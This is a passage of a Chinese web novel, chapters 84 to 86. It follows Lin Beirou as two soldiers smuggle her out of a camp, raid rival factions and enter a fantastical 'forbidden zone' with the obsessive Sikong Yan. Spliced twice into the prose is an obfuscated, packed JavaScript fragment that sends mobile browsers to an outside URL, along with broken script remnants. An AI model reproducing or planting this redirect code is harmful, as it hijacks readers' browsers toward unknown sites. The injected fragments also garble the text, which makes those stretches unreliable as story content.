林北柔是被遥远巨大的爆炸声惊醒的。 她感觉自己睡了一天,看了一眼时间,发现她才睡了两个小时,通讯器在振动,林北柔拿起通讯器,一则语音短信弹出,响起孙芮晗上气不接下气的声音。 “总司令被刺杀了!庞将军被撤换了,我姑姑所在的整个部门都被人包围了,她出不去,你快点跑。” 林北柔一脸懵地从被子里钻了出来,还没反应过来,营房门就被打开了。 两个高大得不像话的同盟军军士走了进来,林北柔吓了一大跳:“你们是谁——” 同盟军的战术装备和作战服不一样,臂章也不一样,按道理他们没可能接近林北柔营房的,外面的守卫不会放他们进来…… 他们的脸罩得严严实实,戴着夜视镜,躯体强壮得像一堵墙,走路的时候却轻巧无声,怎么看怎么熟悉。 两个军士刻意保持了沉默,和林北柔完全没有交流,一个像饲养员抱熊猫一样将她抱了起来,把她放到了另一个人背上,然后用一件仿佛在俄罗斯生产的超大号大衣把林北柔从头罩到脚。 林北柔一脸懵逼:“荀……” 其中一个伸出手捂住林北柔的嘴,另一只戴手套的手比了个嘘。 林北柔完全不明白他们在搞什么,为什么会突然换了套衣服,就被背了出去,一路上还经过了周阆屿的营房,里面没人,林北柔也来不及喊周阆屿了,远处似乎是发生了意外,导致营地发生了混乱,很多光源暂时熄灭,到处都黑糊糊的,紧急照明正被搬过来。 两个人趁着混乱和夜色,直接将林北柔运了出去,半个小时后,林北柔就到了另一辆车上,新垣鑫陪她坐在后座,荀照乘在前面开车,仿佛是两个异国武装分子绑架了她,将她寸步不离地守着,不让她逃走,然后踏上一场通往未知暗夜的追逐之旅。 林北柔裹在过于肥大的大衣里,探头探脑,像个钻出衣服的小朋友或者小猫小狗,非常震惊:“我们要去哪里?” 新垣鑫没有说话,只是怕她着凉似的,把车后面一条毯子拿下来,盖在了她膝盖上,林北柔看到旁边有一个箱子,正是装针剂的那个箱子,他们早就准备好了。 荀照乘从后视镜看了林北柔一眼,声音不大不小地开了口:“禁区。” 85. 第 85 章 荀照乘和新垣鑫帮林北柔穿好了装备,他们来到了一处很混乱的地区,车停在了隐蔽的地方,熄了灯,荀照乘用望远镜观察前方,新垣鑫低声跟他讨论待会战术。 林北柔裹着毯子倒在新垣鑫宽厚的肩膀上,昏昏欲睡。 新垣鑫一条胳膊稳稳地抱住她,臂围足够,让她枕得稳定舒适。 这里驻扎了很多股不同的势力,井水不犯河水,局面暂时稳定,又一触即发。 星星点点的幽暗的光源,从这里一直延伸出去,壮观如末日景象。 就像在拍电影一样,十分不真实,但它却真实发生了。 荀照乘说:“这里也是个入口,小一点,危险程度更高,没有政府军把控,全世界北半球的民间势力都会从这里进入。” 林北柔听懂了,这就好像胜身洲哪个万年一遇的秘境开启一样,外面大大小小全是各宗各派。 倒计时还有八分钟。 荀照乘看了看手表:“到时间了。” 林北柔迷惑睁开眼:“不是还有八分钟吗?” 荀照乘:“车上补给品不够,到下面禁区之后,必须撑过两周。” 林北柔没跟上他思路,新垣鑫:“别担心,就是去抢劫。” 林北柔:“……”谁见过正规军要去抢劫。 见她瞳孔地震,新垣鑫忍不住哧哧地笑了起来,笑声震荡胸腔,传递到林北柔耳膜中,她忍不住坐直了,看向新垣鑫,看向荀照乘,以为他们在开玩笑。 荀照乘却没有笑:“换人,你来开车。” 新垣鑫直接从副驾驶那边爬了过去,荀照乘放倒座位,爬到了后座,接替了新垣鑫的位置,他伸手试了试林北柔额头的温度,拿起她的手,三指搭在她脉搏上,给她把脉。 林北柔才知道荀照乘专门换座位是为了检查她身体状况。 “你睡你的,等完事了我们叫你起来,针剂副作用很大。”荀照乘说。 林北柔一听到他们要去抢劫,什么睡意都没有了,新垣鑫开车比荀照乘更野,悄无声换了个位置,按了下几个键位,转头说:“结界设置好了。” 荀照乘:“下车。” 新垣鑫看了林北柔一眼,没有多余废话,直接下了车,把车门关好。 荀照乘对林北柔说:“待在车上,不管发生什么不要下车,车上有结界,其他人进不来。” 林北柔看着他的眼睛,在夜色中像融熔的黑珀,反射着远处的幽暗光点,只能点了点头,荀照乘和新垣鑫都是那种行动力和执行力特别强的类型,好像身体里有一台永动机,习惯安排并做决定,林北柔知道这个时候说别的也没用了,她脑子还是有点晕乎乎的,下去也帮不了忙。 荀照乘想了想,拉开座位下方的储物盒,把一个黑科技眼镜一样的东西递给她:“无聊的话可以看这个,触摸可以切换视角,我的或者新垣鑫的。” 新垣鑫在外面骂人了:“你让我先下去,你自己好跟人家多说话是不是?” 荀照乘低声对林北柔说:“我马上回来,座位下有水和吃的,饿了自己拿。” 他打开车门下去了,把车门稳稳关上,林北柔听见他和新垣鑫绕到后面,从后车厢取出了法器,开始组装,效率很高,不到几分钟就完成了,两人扛着法器,身影没入夜色。 林北柔戴上那副眼镜,还有配套的耳机,瞬间眼前视野变化,进入了第一潜行视角,斜前方是新垣鑫,这个视角是荀照乘,她试着触碰了下眼镜腿,视角一切,变成了新垣鑫的。 林北柔裹着毯子,时不时变化视角,紧张地观看他们两个要干什么。 他们接近了那些散落在荒原上的营地,然后分开了,一左一右朝两边而去,林北柔能听到他们的呼吸声,很轻,没有任何交流,两个人的行动完全一致,他们找到了目标营地,然后选了个地方趴下来,用法器远程攻击,两边营地瞬间起火爆炸。 喧哗声顿时掀起,冷冰冰的空气被点燃,飘荡着吼叫和咒骂,林北柔的视野开始流动,荀照乘和新垣鑫移动位置,一路点火攻击,各个营地都以为被敌对势力袭击了,平地上乱成一锅粥,夜色被冲天的火光照成一片橘红,夜空的星星也模糊了。 林北柔看着看着明白了,禁区入口打开之前,这些势力本来就打算抢占先机,在禁区外先把世仇和最大的竞争对手干掉,空气早就充满了火·药味,只等一粒火星擦燃。 荀照乘和新垣鑫只是卡时间卡得特别精准,摘走了先机,也不知道他们是怎么算的。 荀照乘和新垣鑫所过之处全是鲜血和火焰,看到他们的人都被他们无声干掉了,没有一点卡顿,搅动全局而没有被任何势力看见,他们“发现”了两辆车,各自装了一车补给品,一路往回开。 倒计时归零,不远处亮起一线蓝紫色光晕,由强减弱,好像地上极光倒飘到了天上,有人大喊:“入口开了!” 没有人再顾忌其他人,全部争先恐后朝入口涌去,就像迁徙的蚁群。 荀照乘和新垣鑫逆流而行,两辆车在空地汇合,向林北柔所在方向飙来。 林北柔松了口气,旁边车窗被叩响,笃笃,不轻不重的两声。 林北柔吓了一跳,摘下眼镜,看向窗外,一个高大人影弯下腰,穿着厚实的防风兜帽衫,黑色长裤,靴子,戴着头罩,只露出一双眼睛,隔着车窗玻璃看着她,眼睛都要贴上窗户了。 林北柔瞬间弹远:“你你你……” 司空晏不知道是哪里冒出来的,跟个幽浮一样,朝林北柔挥了挥手,跟她打招呼,眼睛微微皱起,又屈起手指叩击了下窗子,示意林北柔把车门打开。 林北柔心脏撞击着胸腔,她还记得司空晏把波刃切刀推进她心脏的感觉,也不知道那一幕场景是不是真的发生过。 见林北柔没有打开车门的意思,司空晏举起两只手,做了个复杂连贯的手势,然后滑稽地切了下脖子,还做了个鸭子叫的呱呱手势,林北柔看懂了。 不开门,等他们两个回来,我就杀了他们。嘻嘻。 这是跟踪狂版祖宗,他不是去执行什么任务了吗?为什么这么神出鬼没回来了还准确定位到了她…… 林北柔没有选择,只能解锁了车门,对方手拉开车门,转身就坐了进来,关上车门,拉开座位下面的储物盒,拿起一瓶矿泉水,拧开,拉下面罩,把整瓶水都灌完了,远处的火光映入他的瞳孔,整个车并不算狭窄,是专门为体型高大的军士设计的,但他一坐进来后,车内空间立刻变得逼仄了。 林北柔缩在另一边,紧紧靠着车窗,警惕地盯着他。 司空晏喝完水,按下车窗,矿泉水瓶子飞了出去。 林北柔:“……”随地乱扔垃圾,什么素质。 司空晏关上车窗,转过来细细端详林北柔,脸上掠起一丝微笑,火光照亮他一半脸,他神情莫测难辨,林北柔在他眼睛里看到了很多影子,有她最熟悉的那个胜身洲的司空晏,有跟踪狂疯狗,有魏瑕,奇异而和谐地融合在了一起,他看着她的眼神,就像一个孩子找到了失而复得的童年珍宝,紧紧盯着,再也不会放手,林北柔裹在毯子里,还是被这种盯视搞得全身发麻。 司空晏:“你不用害怕我,我现在没有任何法力了。” 林北柔怀疑地看着他,不知道他又想玩什么play。 司空晏咳嗽了下:“是真的,我现在是普通人的战斗力,可能比正常人力气大一点吧,其他什么都没有了,修为,法力,都暂时用不出来,如果我对你动手,你可以反杀我。” 林北柔:“司空晏……你到底想干什么?” 司空晏:“我现在就想过来看着你,你去哪儿我去哪儿。” 林北柔慢慢蹭过去,犹豫地伸出手,司空晏一把握住她的手,她的手被包裹在他的大手中,他的手和头一样大,只有建模才有的比例,掌心温度温凉适宜,十分舒服,林北柔感觉了一会儿,表情慢慢变了。 司空晏没有说错,他的元神里确实没有修为了,也没有法力,好像一个蓄水池暂时被抽空了一样。 林北柔:“你的修为呢?你做了什么?” 司空晏目不转睛看着她,她主动凑近后,他们的距离就比刚才近得多了,司空晏另一只手扶住林北柔的脸,直接吧唧一下亲在她脸蛋上,仿佛还嫌不够,又咬了她腮肉一口。 林北柔:“……”她顿时红温了,脸变得像番茄一样:“你干什么!你想死吗!”她挣扎着用手背去搓脸,司空晏却不让她动,咕哝了句“好软”。 司空晏:“你还在关心我。” 林北柔:“只是不想你死!谁知道你又发什么疯。” 司空晏愉快地说:“放心,我死了一定把你一起带走,我们不会分开的。” 林北柔麻木地捂住脸,不想跟他说话了,又不得不解决问题:“你知道荀照乘和新垣鑫会回来吧?” 司空晏眼睛闪烁:“你想他们想起来吗?可以有三个‘我’来陪你。” 林北柔不寒而栗:“你别对他们动手……” 司空晏:“他们会对我动手,我现在打不过他们,你要保护我。” 话音刚落,林北柔就听到了车门一声闷响,她打了个颤,下一秒两边车门都被拉开了,她被人从背后抱了出去,还没反应过来就到外面了,抱她出去的是荀照乘,同时她看见新垣鑫把司空晏拉了出去,非常不客气地一拳揍过去,司空晏眼眶挨了一拳,偏过头,然后接住了新垣鑫下一拳,跟他打在一起。 林北柔站起来往他们那边跑,荀照乘将她拉住了,林北柔急得挣扎:“别打架啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418260|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荀照乘:“执行任务的时候,他差点杀了我们。” 林北柔哑口无言,很像司空晏能干出来的事情,她只能眼睁睁看着新垣鑫和司空晏打了一架,中途新垣鑫甚至用了修为,发现司空晏没用修为打回来,他似乎觉得司空晏故意的,想让自己胜之不武,直接将司空晏丢到了地上。 司空晏受了点皮肉伤,嘴角擦破了,脸上也挂彩了,实际上问题不大,他却捂着肋骨闷哼一声,倒在了地上。 林北柔:“司……魏瑕!” 荀照乘没拉住她,林北柔跑了过去,跪在司空晏面前,表情胆战心惊,新垣鑫没想到林北柔先关心的是“魏瑕”,眼看司空晏在那边假装受伤,新垣鑫扬起眉毛,一时间都气笑了。 新垣鑫:“别担心,他没受伤。” 司空晏呻·吟:“我肋骨好像断了……” 林北柔动作很轻地摸了摸:“好像没有啊……” 司空晏抓住她的手:“我好疼。” “魏瑕,你是不是人格分裂?” 新垣鑫忍不住又想动手了,林北柔只好阻止:“我们不是要去禁区吗?” 新垣鑫:“不能带这个人下去,不能相信他。” 嘀嘀声响起,荀照乘拿出来看,是他从其他势力收缴的通讯终端。 “全员已经正式进入禁区,我们必须下去了。” 五分钟后,所有人回到了车上,后车厢塞了补给品和汽油,新垣鑫在前面开车,林北柔坐在后面中间,左边是司空晏,右边是荀照乘。 林北柔:“……” 司空晏上车的条件,是戴了个颈环一样的法器,控制装置是一个戒指,戴在林北柔大拇指上,只要他有异动,林北柔就可以迅速惩罚他。 司空晏:“能重新戴一下戒指吗,我帮你……” 他拿过林北柔的手,把戒指从大拇指上拿下来,换到林北柔的无名指上。 荀照乘抓住了林北柔的手腕,把他的手扳了下去。 司空晏发出“呲”的一声,揉了揉手腕,荀照乘盯着司空晏,意识到了他没有了修为。 荀照乘:“你做了什么?” 司空晏没理。 新垣鑫在前面说:“魏瑕,我警告你,要是你下去了还发疯,必要情况下我们会清除威胁。” 司空晏没有看他:“有时候我真是羡慕你的不经世事。” 新垣鑫:“你说什么?”他不是那种火爆性子,就算司空晏冷不丁毒舌一下,他也不会被激怒,只是眼神有一点坦率的讽刺,非常不相信对方,时不时从后视镜瞟一眼,以防司空晏想对林北柔做什么。 车驶进了向下的坡,进入了一个巨大的山洞,像上古时代形成的,蓝紫色的光忽明忽暗,前方是一条深深的空间裂隙,强大的风场将所有东西吸了过去。 林北柔眼睁睁地看着车子飞了过去,尽管绑着安全带,还是不自觉地绷紧身体,手不自觉放向两边,两边坐的人体型都太大了,她手过去,一只手不小心放到了荀照乘腹肌上,一只手不小心搭在了司空晏大腿上。 林北柔:“……” 司空晏握住她的手,直接一个十指交扣。 荀照乘盯着前面,提醒新垣鑫,没空搭理司空晏,但也伸手握住了林北柔的,把她手包在手里。 幸好新垣鑫没看见,车身腾空,重力翻转,消失,时间仿佛变慢,一切都没入梦幻般的光芒。 光芒淡去,林北柔感觉心脏失重,重力回来了,车窗外大地不见了,取而代之的是灰蒙蒙的云层,车在急速坠落,他们进入了禁区。 “我们怎么在天上啊!……”林北柔恐高症发作了,一动不敢动靠在椅子上。 荀照乘声音很稳:“地下灵脉通往地心,禁区就在地心,地心不是实心的土层,是另一个宇宙,比我们这个宇宙大得多,从地表世界进入,就是地心世界的天空,对禁区来说,我们才是地心。” 林北柔:“我们不会摔死吗!” 新垣鑫:“不要担心,坐标确认。” 他启动了几个键位,车身弹出飞行装置,空中引擎启动,垂直坠落的势头顿时变缓,车子变成了一台飞行器,变化角度,朝地面飞去。 影影绰绰的云层间,林北柔看到了远处很多黑点,也是和他们一样坠入禁区的其他人。 很快,云层骤然稀薄,大地出现。 新垣鑫刚好转向,车身倾斜四十五度,司空晏那边刚好能看清地面,林北柔倒吸一口气,呆呆地倾过身体,看向外面。 大地和胜身洲的魔域,一模一样。 “欢迎来到禁区。” “欢迎回来。” 新垣鑫和司空晏异口同声地开口,声音错落重叠,一个是用飞行员语气说的,一个是低声在林北柔耳畔说的。 86. 第 86 章 “现在是白昼时间,相对安全,我们必须在极夜前进入深禁区。”新垣鑫握着方向盘,看了一眼手表,这种手表是特制的,在禁区的磁场乱流中不受影响,可以跟随禁区时间。 林北柔朝外看去,他们已经成功着陆,座驾切换成了陆行模式,像一台特别高大的军用卡车,窗外是一望无垠的荒原,寸草不生,土质呈现一种渐变的红,有些地方跟血盆大口一样,天空灰蒙蒙的,地平线看不太出来,远处有细小如蛇的闪电,如同一个光影不正常的阈限空间。 远处还有其他着陆的车辆,也在快速行进,和他们是同一个方向。 司空晏抱着手臂,靠在林北柔肩膀上睡觉,也不知道他是真睡还是假睡,林北柔也随便他去了,一副习以为常的样子,新垣鑫很看不惯他,暂时拿他没办法,因为只能他或者荀照乘开车,现在还不到换人的时候。 林北柔:“深禁区是什么?” 荀照乘正在用望远镜观察远处情况,一边开了口:“禁区分浅禁区,中禁区,深禁区,灵核在的地方是深禁区,那里没有地图没有导航,除了你,其他人找不到路。” 林北柔终于有机会好好问一问之前的疑惑了:“为什么你们要带我走?基地发生了什么,庞将军没事吧,周阆屿那边怎么办。” 荀照乘:“太微垣有内奸,内奸权力太大了,之前的清洗没有触及到他,很多世家倒戈了他们,到进禁区前他们才动手,是想夺回对编号成员的控制权,庞将军和总司令知道,放任他们动手,提前通知了我们,让我们直接脱离大部队,这样藏在大部队里的钉子才会暴露出来,庞将军他们会采取下一步行动。” 林北柔:“那我们呢?” 荀照乘:“单独行动。” 新垣鑫:“法器呢?先把法器给林北柔,外面人太多,我不放心。” 荀照乘放下望远镜,转过去,座位和后车厢是连通的,他直接拉过来一个箱子,林北柔认了出来。 这是当初飞行器上运送的那件特殊物品。 荀照乘打开箱子,果然,一个看上去根本不像地球造物的立方体静静放在里面。 司空晏撑开一条眼缝,静静看着这个东西,目光落在林北柔脸上。 林北柔:“这是什么?” 荀照乘:“二号所在组织的圣物,以前是二号使用过的,因为他们被三号的教宗威胁,害怕圣物被夺走,交给我们保管。” 他用戴着手套的手,缓慢地取出那个和快递盒子差不多尺寸的立方体,立方体自动悬浮于空中,安静地旋转,奇异的波纹状在黄金表层荡开,隐隐约约透出内核的光芒,像一只鸟在舒展羽毛。 荀照乘:“接着。” 他把立方体移交给林北柔,林北柔轻轻双手接过,感觉到心脏跳动频率变慢,立方体内好像有个生命,在和她的心跳共振,一种神圣的被赦免的感觉流遍全身,好像过去累世的罪孽被洗净,她直接就湿了眼眶,眼泪不受控地流了下来,内心充满了奇异的感觉,说不出是悲伤还是欢喜。 三个人都看着她,没有人开口打断她的感觉。 林北柔尴尬地揉揉眼睛说:“哎呀,怎么回事,我感觉……” 荀照乘:“圣物会和选中的编号者共鸣,证明祂认可了你,先拿着就好。” 林北柔翻来覆去研究着立方体:“我不知道怎么用,它好重。” 话音刚落,黄金立方体刹那缩小,形状快速变化,最终变成了一只银白流光外骨骼状链式手套,自动套上了林北柔的手,好像一只优雅的骷髅手覆盖在她手背上。 仿佛在激活认主,指骨骨节上符文快速闪烁,隐没,不过她都不认识。 中指指节浮现出一个清晰的符号,林北柔刚好在基地看了些资料,认出了这是古越河者和古迦南语的数字四。 林北柔:“……”她微微张大嘴,全身细胞好像在触电,无形间被授封了一样。 荀照乘:“全世界不同信仰都指向同一个造化本源,这是和造化本源相关的古圣物,和不周山无量印一样,无量印被他们抢走了,这个东西,在你手上更安全。” 新垣鑫在前面说了一句:“不知道是被抢走的,还是被某人送出去的。” 他从后视镜里瞥了司空晏一眼。 司空晏像条大狗一样乖乖伏在林北柔肩上,没有动也没有说话,表示自己人畜无害。 林北柔看着司空晏,想问他之前那句“欢迎回来”是什么意思,禁区为什么和胜身洲魔域这么像? 顾虑到荀照乘和新垣鑫,不敢提到一些触发关键词,怕荀照乘和新垣鑫恢复记忆。 一旦元神分体恢复记忆,正式觉醒,一定会争夺元神控制主权,打起来根本不受控。 她更怕荀照乘和新垣鑫的态度对她产生变化。 本质上,他们都是司空晏,而她背叛过司空晏。 外面突然传来一声震荡,好像大地被什么战锤锤了一下,他们的车子也跟着颠簸了一下。 新垣鑫:“那是什么?” 荀照乘拿起望远镜只看了一眼,言简意赅:“瘴气尘暴,快开。” 新垣鑫猛然加速,林北柔看到外面那些车流也开始加速,天幕下扬起巨大的沙尘暴,两边都有。 这些瘴气尘暴是苍白色的,带一点灰蒙,和胜身洲魔域出现的白瘴气一模一样,能完全遮蔽视野,可见度不超过二十厘米。 尘暴朝这边席卷过来,两边的车流都开始朝他们这边汇聚,很快,所有车流汇聚成了一条,就像在跨海大桥上并行驾驶,林北柔都能看见离他们最近那辆车的内景了。 司空晏:“瘴气里面有东西,你看。” 林北柔不知道这祖宗什么时候醒的,直接把下巴搁在了她肩膀上,用一种看热闹不嫌事大的阴间语气说,好像在跟她说,快看那边,有犀牛。 林北柔顺他眼神方向看出去,沙尘暴里出现了隐隐绰绰的轮廓,巨大得无法形容,不是一个,而是好几个,和那些影子相比,他们渺小得就像蜉蝣一样。 新垣鑫也看到了:“那是什么?以前从来没出现过。” 荀照乘:“不知道。” “好大……”林北柔的巨大恐惧症都要犯了。 司空晏:“山海经里的,停车。” 新垣鑫看向后视镜:“你要干什么?” 司空晏声音不大不小:“那东西会吃动起来的东西。” 影子一步就是好几百里,很快接近了最外围的那些车子,做了个弯腰吸的动作,那些车子就像沙滩上的小石子一样飘了起来,没入滚滚尘暴中。 这下子进入禁区的人全乱套了,很多人拼命踩油门,往中间汇聚,导致车流越来越挤。 荀照乘:“照他说的做。” 新垣鑫只能减慢了速度:“停不下来,后面车流太多了,停下来会撞车。” 他们刚好在车流正中间,左右有车流隔开,外面就是瘴气尘暴,里面还有不知名的山海经生物,前后方也都有车流。 林北柔左右张望:“怎么办。” 司空晏继续把下巴放在她肩窝上:“知道的不只有我,等着就行。” 新垣鑫:“你能不能别黏着林北柔,你那叫骚扰。” 司空晏凉飕飕又很阴间很绿茶地说:“我是她男朋友,你是她什么人。” 新垣鑫看上去像遭受了非常大的冲击,从后视镜里面看着林北柔,好像忘了词:“……” 林北柔:“不是!”她恼羞成怒地挣脱开:“不要乱说话!” 荀照乘:“专心开车。” 新垣鑫集中了注意力,不再听司空晏胡说八道,他的表情显示他觉得魏瑕疯了,不知道对方已经不是魏瑕了。 前方的车流变缓,接二连三停了下来,接着四面八方的车流也停了下来,好像有看不见的内部消息,正在飞速传播,让所有人都知道,保持不动,才是最安全的选择。 林北柔突然想起了三号。 三号也去过其他位面,他可能知道这些东西是什么,并且把消息传递了出去。 新垣鑫也成功把车停了下来,等待风暴过去。 荀照乘拉开武器匣,组装武器,把一些东西分给新垣鑫,还将一把法器递给了司空晏。 荀照乘:“车子距离太近了,待会会有袭击。” 新垣鑫:“你要给他武器?” 荀照乘:“他是一号,看见他手上有东西,有人就会顾忌,他现在没有修为了,只能用储能法器。” 新垣鑫听了,转过来怀疑地看着司空晏:“你干了什么。” 司空晏闭口不答,他对荀照乘的态度很一般,对新垣鑫的态度则很目空一切,喜欢刺他一两句,林北柔有种奇怪的感觉,司空晏他好像……在嫉妒新垣鑫一样? 风暴中的巨影掠过上方,林北柔缩了起来,她只有在胜身洲一些上古和太古秘境附近有这种感觉,感觉十分渺小恐惧,司空晏和荀照乘同时握住了林北柔的手,将她安全地拱卫在中间。 林北柔闭上眼睛,全身微微颤抖。 那些白色巨影是什么她不知道,它们和天地同源,好像能看见她一样。 林北柔清晰地看见到,其中一个确实看见了她。 “放心,我在。”司空晏用元神传音对她说,一只手捂住她的眼睛。 那个巨影离开了,像天空的云层缓缓而去。 林北柔突然感觉到心脏上方一阵灼痛,简直像什么东西烙印了上去,忍不住疼得倒抽冷气:“嘶——” 荀照乘感觉到了灵力波动,迅速解开林北柔的外套,拉下她的打底衫,看到她心脏上方的位置,出现了一个细细的蓝紫色印记,流淌如岩浆,末端有个方向箭头,指向心脏。 人的肉眼看不出来,那个箭头会随时间流逝向心脏进发。 新垣鑫转过来也看到了:“这是什么?!” 司空晏静静地说:“天道契约印记,最高等级。” 林北柔听了脑海空白,她想起了和甲方的约定,甲方让她来到禁区,履行约定,否则她会失去一切。 现在进入禁区,印记激活,完全显现。 新垣鑫理解成了其他东西:“是天道给编号者的记号?对本人有伤害吗?” 林北柔抓紧司空晏的手指,不让他说出来。 林北柔:“没……没事,就是有点烫。” 荀照乘眼神难辨,整理好林北柔的衣服:“没时间说这些了,看外面。” 巨影远去,白色尘暴没有褪去,能见度恢复到附近三十米左右,车流也没有动,他们附近的几台车,缓缓放下了车窗,竟是不怕瘴气,林北柔看到车里那些人员都戴了防毒面罩,坐在座位上,看似一动不动。 荀照乘:“七点钟方向,三点钟方向,十一点钟方向。” 新垣鑫利落地持起法器,瞄准,司空晏也一样动作,三个人忽然高度默契起来,朝向不同方向,车窗被放低,露出足够宽的缝隙,刚好够他们瞄准那些人。 林北柔也戴着面罩,穿着作战服,看着个子比他们小得多,应该没人能认出她。 荀照乘低声说:“他们在找编号者。” 话音刚落,林北柔就看见远处有爆炸的火光,一台车被炸飞了,战斗声响起,对方在找所有可疑车辆,不止他们,趁着车流不能动,展开地毯搜索。 爆炸引起了一些混乱,三个人中荀照乘战术经验最丰富,直接说:“下车。” 然后对林北柔说:“待着别动。” 三个人打开车门下了车,车窗自动合上,林北柔坐在车内,紧张地环顾,看向三个人走向三个不同的方向。 他们每个人都有足够的威慑力,一开始对方没有异动,当他们越过某个距离值,对方瞬间抬起了藏起的法器。 林北柔听到了消音器加装后的射击声,灵能子弹穿透对方头颅,林北柔目不暇接,看向三个不同方向,好像看到三个不同的司空晏,都是标准的射击姿势,不到两秒就将对方全员歼灭,车内全是破碎的头颅和鲜血。 其他车静止不动,没有一个敢放下车窗攻击,目击者都能看出三个人的反应速度和战力强度不是他们能对付的。这也一定程度上暴露了他们的身份,尤其是他们还穿着同盟的作战服和战术装备,在这些民间势力中就格外显眼。 车门打开,三个人回到车上,关上车门,白雾散开了,两边车流开始朝外开去,空间顿时不再拥挤,新垣鑫发动座驾直接变道超车。 荀照乘看了下手表:“两分钟。” 新垣鑫:“时间不够了。” 林北柔:“什么意思?” 司空晏在她耳边说:“刚刚那些人是来试探的,死掉了讯息就会传回去,他们就会知道我们这边很可能有编号者,我们只有两分钟时间离开。” 新垣鑫总结:“他们想在进深禁区之前先干掉我们。” 他们的车朝空旷区飞驰,不一会儿脱离了车流,林北柔松了口气,回头一直看,过了十分钟,突然看到了不对劲的东西,三个光点凭空出现,朝他们这边飞了过来。 “来了。”司空晏啧了一声。 荀照乘用望远镜看了一眼:“三号,七号和九号。” 林北柔一听到三号,眼睛微微睁大,三号高度疑似是其他位面的高阶“修士”,而司空晏现在没有修为,而对面马上就要追上来了。 “你害怕了?”司空晏耳语。 荀照乘:“魏瑕,你带林北柔先走。” 林北柔:“什么?等等……” 新垣鑫停了车,和荀照乘一起下车,两个人从后车厢拉出两台改装摩托,骑上去直接朝那三个光点方向去了。 司空晏爬到了驾驶座上,发动了车子,全速朝前方前进。 林北柔:“等等!不能丢下他们!他们都不是编号者!” 司空晏:“心疼了吗。” 林北柔爬到了副驾驶座上:“他们会死的!”对面有三个编号者,其中一个还是三号。 司空晏:“那就让他们去死,这样就没人能跟我争你了。” 林北柔不可思议地看着他:“你疯了吗,现在是开玩笑的时候吗,他们就是你,他们的元神是你的元神,他们要是死了,你会受重伤!” 司空晏还是那样阴柔:“不。” 林北柔对祖宗的突然发疯无言以对,焦急看向外面,抓起望远镜,视野中,三号停在了一边,七号和九号上前,周身环绕着强大的灵力波荡,荀照乘和新垣鑫的摩托车停在下面,和他们对峙。 三号对七号和九号吩咐了两句,七号和九号就降落在了地上,分别对上了荀照乘和新垣鑫。 三号调转方向,朝他们这边追了过来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14464323|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林北柔:“……” 司空晏突然提起唇角:“找死的来了。” 林北柔没空再去看荀照乘和新垣鑫那边了,三号不到半分钟就追上了他们,他凌空飞行,一身适合在沙漠行走的罩纱长袍,带兜帽和斗篷,用黄金链固定,他手里握着一个形状奇怪的法器,法器上有三角形和眼睛符文。 林北柔和他像勿忘我一样冰蓝色的眼睛对上,有种不寒而栗的感觉。 他盯着她,就像盯着猎物一样。 司空晏的声音覆盖了她,阻隔开一切侵犯:“你来开车。” 林北柔回过神:“我没开过这种卡车!”她的驾照是开小汽车的。 司空晏根本不理,握住她的腰,直接把她抱了过来,自己退后,去了后座,林北柔只好接管了这辆卡车,全神贯注开车,不知不觉回到了熟悉的节奏,以前在胜身洲,司空晏也是这样,打群架的时候,问也不问一声直接让她来指挥神伶们之类的,林北柔手忙脚乱了几次,就熟悉了。 林北柔突然发现司空晏又耍了她,他早就开启了自动导航和驾驶模式,根本不用她动手。 林北柔回过头,看见司空晏打开了车顶,以不符合他体型的轻盈敏捷,引体向上爬了出去,关上车顶。 林北柔:“司空晏!”他现在没了修为,要怎么对付三号? 林北柔按下按键,车内屏幕显示了外面的景象。 司空晏站在车顶,三号跟在他后面,保持着稳定的距离。 三号:“久仰大名,一号,初始者,前天晚上有件有趣的事情,现世几大灵脉同时爆发脉冲,等级很高,却没有次生灾害,那之后,友方告诉我,你失去了全部修为,我不禁好奇你做了什么。” 司空晏:“你猜。” 三号:“能把你的修为抽空,除非你做了一件逆天而为的事,比如,回溯时间?” 司空晏眼睛就像透过三号,看向虚空,就像三号只是这片禁区的一粒沙。 三号本来还带着一丝笑意,突然不笑了,眯着眼睛看着司空晏,冰蓝色的虹膜中,瞳孔缩成黑点,显出让人不适的无机质感,林北柔从来没见过他露出这样的表情,之前几次接触他都游刃有余。 三号:“我需要四号帮我在阿赖耶识世界找到我的亲人。” 司空晏懒懒散散地说:“二号是被你亲手杀死的,你找不到的。” 林北柔听到这个信息量,眼睛睁大。 三号脸色扭曲了,好像司空晏猝不及防捅破了他的秘密,剥开了他的伤疤,让神经暴露在了空气中。 三号:“……你知道,你果然回溯了时间,这是第几次?” 司空晏阴鸷地说:“数不清。” 三号瞳孔骤缩,接着爆发出一阵大笑,林北柔觉得这是仅次于司空晏的第二变态的笑声。 三号:“我和二号是兄妹,四号,就像你和五号一样,我们被人为分开了,进入了不同的阵营,我们信仰不同,只能杀死彼此,我希望死亡让二号摆脱她身上的枷锁,这样她就会重生,回到她的亲人身边,双生子在预言书中一直是一生一死的状态,至今只有你和五号打破了这个循环,我一直以为你们比我们幸运,现在我发现了,不是你们幸运,是有人在帮你们。” 林北柔怔怔地望着屏幕,记忆隐隐约约松动破土,一阵头疼侵袭了她,她抱住脑袋。 三号:“一号,你也是来自异位面的吧?和我一样,被困在了这里,你活了多久了,有一万年了吗。” 